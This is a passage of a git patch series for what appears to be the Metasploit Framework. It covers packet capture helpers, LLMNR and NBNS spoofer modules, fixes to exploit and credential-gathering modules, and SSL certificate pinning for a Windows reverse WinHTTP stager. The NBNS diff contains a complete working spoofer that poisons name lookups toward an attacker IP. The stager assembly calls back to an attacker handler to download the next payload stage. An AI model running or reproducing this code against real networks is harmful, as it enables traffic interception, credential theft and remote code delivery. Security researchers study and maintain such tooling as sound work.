pcap=self.capture) - reply = nil - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - if not pcap - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" - else - begin - ::Timeout.timeout(to) do - pcap.each do |r| - packet = PacketFu::Packet.parse(r) - next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto - reply = packet - break - end + # Defaults to ~2 seconds + to = (datastore['TIMEOUT'] * 4) / 1000.0 + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap + begin + ::Timeout.timeout(to) do + pcap.each do |r| + packet = PacketFu::Packet.parse(r) + next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto + return packet end - rescue ::Timeout::Error end + rescue ::Timeout::Error end - return reply + nil end # This ascertains the correct Ethernet addresses one should use to @@ -328,20 +310,19 @@ module Msf end begin - to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while (my_packet = inject_reply(:udp, self.arp_capture)) - if my_packet.payload == secret - dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr - src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr - return [dst_mac, src_mac] - else - next - end + while true + my_packet = inject_reply(:udp, self.arp_capture) + next unless my_packet + next unless my_packet.payload == secret + dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr + src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr + return [dst_mac, src_mac] end end rescue ::Timeout::Error - # Well, that didn't work (this common on networks where there's no gatway, like + # Well, that didn't work (this is common on networks where there's no gateway, like # VMWare network interfaces. We'll need to use a fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -354,26 +335,31 @@ module Msf return self.arp_cache[:gateway] unless should_arp? target_ip source_ip = Rex::Socket.source_address(target_ip) raise RuntimeError, "Could not access the capture process." unless self.arp_capture + p = arp_packet(target_ip, source_ip) - inject_eth(:eth_type => 0x0806, - :payload => p, - :pcap => self.arp_capture, - :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] - ) - begin - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - ::Timeout.timeout(to) do - while (my_packet = inject_reply(:arp, self.arp_capture)) - if my_packet.arp_saddr_ip == target_ip + + # Try up to 3 times to get an ARP response + 1.upto(3) do + inject_eth(:eth_type => 0x0806, + :payload => p, + :pcap => self.arp_capture, + :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] + ) + begin + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 + ::Timeout.timeout(to) do + while true + my_packet = inject_reply(:arp, self.arp_capture) + next unless my_packet + next unless my_packet.arp_saddr_ip == target_ip self.arp_cache[target_ip] = my_packet.eth_saddr return self.arp_cache[target_ip] - else - next end end + rescue ::Timeout::Error end - rescue ::Timeout::Error end + nil end # Creates a full ARP packet, mainly for use with inject_eth() From 9730a1655e37ea410ce9cd53ea2238a01128205c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 22 Feb 2015 22:00:42 -0600 Subject: [PATCH 15/32] Small cleanups to the LLMR responder module --- .../auxiliary/spoof/llmnr/llmnr_response.rb | 25 ++++++++++++------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 4a7123fd56..9261a606bd 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -139,9 +139,7 @@ attr_accessor :sock, :thread end ip_pkt.recalc - open_pcap - capture_sendto(ip_pkt, rhost.to_s, true) - close_pcap + capture_sendto(ip_pkt, rhost.to_s, true) end def monitor_socket @@ -176,7 +174,10 @@ attr_accessor :sock, :thread def run check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) # Multicast Address for LLMNR multicast_addr = ::IPAddr.new("224.0.0.252") @@ -191,12 +192,14 @@ attr_accessor :sock, :thread self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets 'LocalHost' => "0.0.0.0", - 'LocalPort' => 5355) + 'LocalPort' => 5355, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { - monitor_socket + monitor_socket } print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") @@ -206,9 +209,13 @@ attr_accessor :sock, :thread while thread.alive? select(nil, nil, nil, 0.25) end - - self.thread.kill - self.sock.close rescue nil end + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end end From 1b1716bcf63957e48eaaf16a97a8b5aa2b30bfa3 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 22 Feb 2015 22:01:01 -0600 Subject: [PATCH 16/32] Fix a handful of bugs that broke this modules. Fixes #4799 --- modules/auxiliary/spoof/nbns/nbns_response.rb | 219 +++++++++++------- 1 file changed, 129 insertions(+), 90 deletions(-) diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 0916ac71dd..a50cb1bd7a 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture + attr_accessor :sock, :thread + + def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', @@ -44,108 +47,144 @@ class Metasploit3 < Msf::Auxiliary ]) register_advanced_options([ - OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false]) + OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Convert to string + rhost = rhost.to_s + + spoof = ::IPAddr.new(datastore['SPOOFIP']) + + return if packet.length == 0 + + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] + nbnsq_additionalrr = packet[10..11] + nbnsq_name = packet[12..45] + decoded = "" + nbnsq_name.slice(1..-2).each_byte do |c| + decoded << "#{(c - 65).to_s(16)}" + end + nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] + + return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i + + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") + + if datastore['DEBUG'] + print_status("transid: #{nbnsq_transid.unpack('H4')}") + print_status("tlags: #{nbnsq_flags.unpack('B16')}") + print_status("questions: #{nbnsq_questions.unpack('n')}") + print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") + print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") + print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") + print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") + print_status("full name: #{nbnsq_name.slice(1..-2)}") + print_status("decoded: #{decoded}") + print_status("decoded name: #{nbnsq_decodedname}") + print_status("type: #{nbnsq_type.unpack('n')}") + print_status("class: #{nbnsq_class.unpack('n')}") + end + + # time to build a response packet - Oh YEAH! + response = nbnsq_transid + + "\x85\x00" + # Flags = response + authoratative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whatever that means + datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') + + pkt = PacketFu::UDPPacket.new + pkt.ip_saddr = Rex::Socket.source_address(rhost) + pkt.ip_daddr = rhost + pkt.ip_ttl = 255 + pkt.udp_sport = 137 + pkt.udp_dport = src_port + pkt.payload = response + pkt.recalc + + capture_sendto(pkt, rhost) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end end def run - check_pcaprub_loaded() # Check first since otherwise this is all for naught - # MacOS X workaround - ::Socket.do_not_reverse_lookup = true + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround - @sock = ::UDPSocket.new() - @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - @sock.bind('', 137) # couldn't specify srv host because it missed broadcasts + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) - @run = true + self.sock = Rex::Socket.create_udp( + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + add_socket(self.sock) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - print_status("NBNS Spoofer started. Listening for NBNS requests...") - - begin - - while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. - packet, addr = @sock.recvfrom(512) - src_port = addr[1] - rhost = addr[3] - - break if packet.length == 0 - - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] - nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" - nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" + self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { + begin + monitor_socket + rescue ::Interrupt + raise $! + rescue ::Exception + print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] + } - if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) + print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") - - if datastore['DEBUG'] - print_status("transid: #{nbnsq_transid.unpack('H4')}") - print_status("tlags: #{nbnsq_flags.unpack('B16')}") - print_status("questions: #{nbnsq_questions.unpack('n')}") - print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") - print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") - print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") - print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") - print_status("full name: #{nbnsq_name.slice(1..-2)}") - print_status("decoded: #{decoded}") - print_status("decoded name: #{nbnsq_decodedname}") - print_status("type: #{nbnsq_type.unpack('n')}") - print_status("class: #{nbnsq_class.unpack('n')}") - end - - # time to build a response packet - Oh YEAH! - response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoratative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whet ever that means - datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') - - open_pcap - - p = PacketFu::UDPPacket.new - p.ip_saddr = Rex::Socket.source_address(rhost) - p.ip_daddr = rhost - p.ip_ttl = 255 - p.udp_sport = 137 - p.udp_dport = src_port - p.payload = response - p.recalc - - capture_sendto(p, rhost) - - close_pcap - - else - vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") - end - end - - rescue ::Exception => e - print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}") - # Make sure the socket gets closed on exit - ensure - @sock.close + while thread.alive? + IO.select(nil, nil, nil, 0.25) end + print_status("NBNS Monitor thread exited...") end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end + end From 1001061a96a19c916ae3cbbb67f6e2d7ed815eb5 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 4 Mar 2015 18:52:18 -0600 Subject: [PATCH 17/32] Initialize @capture_count --- lib/msf/core/exploit/capture.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index a7eeabb910..44501ff227 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -166,6 +166,7 @@ module Msf # def each_packet return unless capture + @capture_count ||= 0 capture.each do |pkt| yield(pkt) @capture_count += 1 @@ -248,7 +249,7 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) - # Defaults to ~2 seconds + # Defaults to ~2 seconds to = (datastore['TIMEOUT'] * 4) / 1000.0 raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap begin @@ -339,7 +340,7 @@ module Msf p = arp_packet(target_ip, source_ip) # Try up to 3 times to get an ARP response - 1.upto(3) do + 1.upto(3) do inject_eth(:eth_type => 0x0806, :payload => p, :pcap => self.arp_capture, From c227c56cd99521eecb7e373d4d50dadf42b8ced1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 11 Mar 2015 12:24:04 -0500 Subject: [PATCH 18/32] Update .mailmap for @joevennix --- .mailmap | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.mailmap b/.mailmap index 9c68bd3c28..4260a11d68 100644 --- a/.mailmap +++ b/.mailmap @@ -13,11 +13,6 @@ jhart-r7 Jon Hart jlee-r7 egypt # aka egypt jlee-r7 James Lee # aka egypt jlee-r7 James Lee -joev-r7 Joe Vennix -joev-r7 Joe Vennix -joev-r7 joev -joev-r7 jvennix-r7 -joev-r7 jvennix-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 kgray-r7 Kyle Gray @@ -80,9 +75,14 @@ jcran Jonathan Cran jcran Jonathan Cran jduck Joshua Drake jgor jgor +joevennix Joe Vennix +joevennix Joe Vennix +joevennix joev +joevennix jvennix-r7 +joevennix jvennix-r7 kernelsmith Joshua Smith -kernelsmith kernelsmith kernelsmith Joshua Smith +kernelsmith kernelsmith kost Vlatko Kosturjak kris kris <> m-1-k-3 m-1-k-3 From 239b0c5d095c39f897ec9c92cdfdad93f50f5580 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 11 Mar 2015 12:28:51 -0500 Subject: [PATCH 19/32] Add the most recent alias joe uses --- .mailmap | 1 + 1 file changed, 1 insertion(+) diff --git a/.mailmap b/.mailmap index 4260a11d68..f07ad3e782 100644 --- a/.mailmap +++ b/.mailmap @@ -75,6 +75,7 @@ jcran Jonathan Cran jcran Jonathan Cran jduck Joshua Drake jgor jgor +joevennix joe joevennix Joe Vennix joevennix Joe Vennix joevennix joev From 4d3a1a2f7117529097fd8d9acf34f0021454f4c8 Mon Sep 17 00:00:00 2001 From: Sven Vetsch Date: Sat, 14 Mar 2015 13:10:42 +0100 Subject: [PATCH 20/32] fix all duplicated keys in modules --- .../scanner/http/bmc_trackit_passwd_reset.rb | 3 --- .../linux/http/netgear_dgn2200b_pppoe_exec.rb | 1 - .../windows/gather/credentials/razorsql.rb | 25 +++++++++---------- 3 files changed, 12 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb index 26dd1310e3..b24065de3a 100644 --- a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb +++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb @@ -131,11 +131,8 @@ class Metasploit4 < Msf::Auxiliary 'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com', 'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]), 'updatequesChk' => 'false', - 'SelectedQuestion' => 1, 'SelectedQuestion' => 2, - 'answer' => answers.first, 'answer' => answers.last, - 'confirmanswer' => answers.first, 'confirmanswer' => answers.last } ) diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 44a14d74ae..6052481e8b 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -185,7 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote "wan_hwaddr2" => @wan_hwaddr2_orig, "wan_hwaddr_pc" => @wan_hwaddr_pc_orig, "wan_nat" => @wan_nat_orig, - "opendns_parental_ctrl" => @opendns_parental_ctrl_orig, "pppoe_flet_sel" => @pppoe_flet_sel_orig, "pppoe_flet_type" => @pppoe_flet_type_orig, "pppoe_temp" => @pppoe_temp_orig, diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 401b664029..23400579ac 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -127,19 +127,18 @@ class Metasploit3 < Msf::Post "n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" , "i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" , "o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" , - "s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" , - "N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , - "y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , - "A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , - "F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , - "5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , - "2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , - "%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , - "=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , - "_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," , - "\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , - "{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , - "`" => "`" + "s" => "E" , "L" => "F" , "M" => "H" , "O" => "I" , "N" => "J" , + "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , "y" => "O" , + "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , "A" => "T" , + "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , "F" => "Y" , + "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , "5" => "4" , + "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , "2" => "9" , + "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , "%" => "%" , + "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , "=" => "=" , + "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , "_" => "_" , + "b" => ":" , "0" => "." , ";" => ";" , "1" => "," , "\\" => "\\" , + "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" , + "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`" } password='' for letter in encrypted_password.chomp.each_char From 11593800b6ffb91d486ebcabdbf0b2630d729b07 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 14 Mar 2015 15:52:23 -0500 Subject: [PATCH 21/32] Move X509 PEM parsing into Rex::Parser::X509Certificate --- lib/rex/parser/x509_certificate.rb | 62 ++++++++++++++++++++++++++++++ lib/rex/socket/ssl_tcp_server.rb | 21 +--------- 2 files changed, 64 insertions(+), 19 deletions(-) create mode 100644 lib/rex/parser/x509_certificate.rb diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb new file mode 100644 index 0000000000..f46500bf5c --- /dev/null +++ b/lib/rex/parser/x509_certificate.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'openssl' + +module Rex +module Parser + +### +# +# This class parses the contents of a PEM-encoded X509 certificate file containing +# a private key, a public key, and any appended glue certificates. +# +### +class X509Certificate + + # + # Parse a certificate in unified PEM format that contains a private key and + # one or more certificates. The first certificate is the primary, while any + # additional certificates are treated as intermediary certificates. This emulates + # the behavior of web servers like nginx. + # + # @param [String] ssl_cert + # @return [String, String, Array] + def self.parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + + # + # Parse a certificate in unified PEM format from a file + # + # @param [String] ssl_cert_file + # @return [String, String, Array] + def self.parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) + end + +end + +end +end diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 27ee44696f..742685d596 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -2,6 +2,7 @@ require 'rex/socket' require 'rex/socket/tcp_server' require 'rex/io/stream_server' +require 'rex/parser/x509_certificate' ### # @@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer # @param [String] ssl_cert # @return [String, String, Array] def self.ssl_parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] + Rex::Parser::X509Certificate.parse_pem(ssl_cert) end # From 03019cf451a008737144ff5e237d030e2c1d214c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 14 Mar 2015 15:53:21 -0500 Subject: [PATCH 22/32] Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert) --- .../core/payload/windows/reverse_winhttp.rb | 107 ++++++++++++++++-- .../core/payload/windows/reverse_winhttps.rb | 59 +++++++++- 2 files changed, 156 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index bbb4d94575..c8851e609b 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -104,18 +104,29 @@ module Payload::Windows::ReverseWinHttp def asm_reverse_winhttp(opts={}) + verify_ssl = nil + encoded_cert_hash = nil + # - # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] + # options can contain contain: + # ssl: (true|false) + # url: "/url_to_request" + # host: [hostname] + # port: [port] + # exitfunk: [process|thread|seh|sleep] + # verify_ssl: (true|false) + # verify_cert_hash: (40-byte SHA1 hash) # encoded_url = asm_generate_wchar_array(opts[:url]) encoded_host = asm_generate_wchar_array(opts[:host]) + if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] + verify_ssl = true + encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") + end + + http_open_flags = 0 if opts[:ssl] @@ -137,7 +148,20 @@ module Payload::Windows::ReverseWinHttp push esp ; Push a pointer to the "winhttp" string push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "winhttp" ) + ^ + if verify_ssl + asm << %Q^ + load_crypt32: + push 0x00323374 ; Push the string 'crypt32',0 + push 0x70797263 ; ... + push esp ; Push a pointer to the "crypt32" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wincrypt" ) + ^ + end + + asm << %Q^ set_retry: push.i8 6 ; retry 6 times pop edi @@ -215,7 +239,7 @@ module Payload::Windows::ReverseWinHttp push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) call ebp test eax,eax - jnz receive_response ; if TRUE call WinHttpReceiveResponse API + jnz check_response ; if TRUE call WinHttpReceiveResponse API try_it_again: dec edi @@ -237,10 +261,77 @@ module Payload::Windows::ReverseWinHttp ^ end + # Jump target if the request was sent successfully + asm << %Q^ + check_response: + ^ + + # Verify the SSL certificate hash + if verify_ssl + + asm << %Q^ + ssl_cert_get_context: + push.i8 4 + mov ecx, esp ; Allocate &bufferLength + push.i8 0 + mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) + + push ecx ; &bufferLength + push ebx ; &buffer + push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) + push esi ; hHttpRequest + push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ; ebx + ssl_cert_allocate_hash_space: + push.i8 20 ; + mov ecx, esp ; Store a reference to the address of 20 + sub esp,[ecx] ; Allocate 20 bytes for the hash output + mov edi, esp ; edi will point to our buffer + + ssl_cert_get_server_hash: + push ecx ; &bufferLength + push edi ; &buffer (20-byte SHA1 hash) + push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) + push [ebx] ; *pCert + push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} + + ssl_cert_compare_hashes: + pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert) + ; edi points to the server-provided certificate hash + + push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times + pop ecx ; + mov edx, ecx ; Keep a reference to 4 in edx + + ssl_cert_verify_compare_loop: + mov eax, [ebx] ; Grab the next DWORD of the hash + cmp eax, [edi] ; Compare with the server hash + jnz failure ; Bail out if the DWORD doesn't match + add ebx, edx ; Increment internal hash pointer by 4 + add edi, edx ; Increment server hash pointer by 4 + loop ssl_cert_verify_compare_loop + + ; Our certificate hash was valid, hurray! + ssl_cert_verify_cleanup: + xor ebx, ebx ; Reset ebx back to zero + ^ + end + asm << %Q^ receive_response: ; The API WinHttpReceiveResponse needs to be called - ; first to get a valid handler for WinHttpReadData + ; first to get a valid handle for WinHttpReadData push ebx ; Reserved (NULL) [2] push esi ; Request handler returned by WinHttpSendRequest [1] push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 4a219c8b4e..04f1bdc323 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' +require 'rex/parser/x509_certificate' module Msf @@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp + # + # Register reverse_winhttps specific options + # + def initialize(*args) + super + register_advanced_options( + [ + OptBool.new('StagerVerifySSLCert', [true, 'Whether to verify the SSL certificate hash in the handler', false]) + ], self.class) + end + # # Generate and compile the stager # @@ -37,13 +49,37 @@ module Payload::Windows::ReverseWinHttps # def generate + verify_cert = false + verify_cert_hash = nil + + if datastore['StagerVerifySSLCert'] + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + else + verify_cert = true + hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from 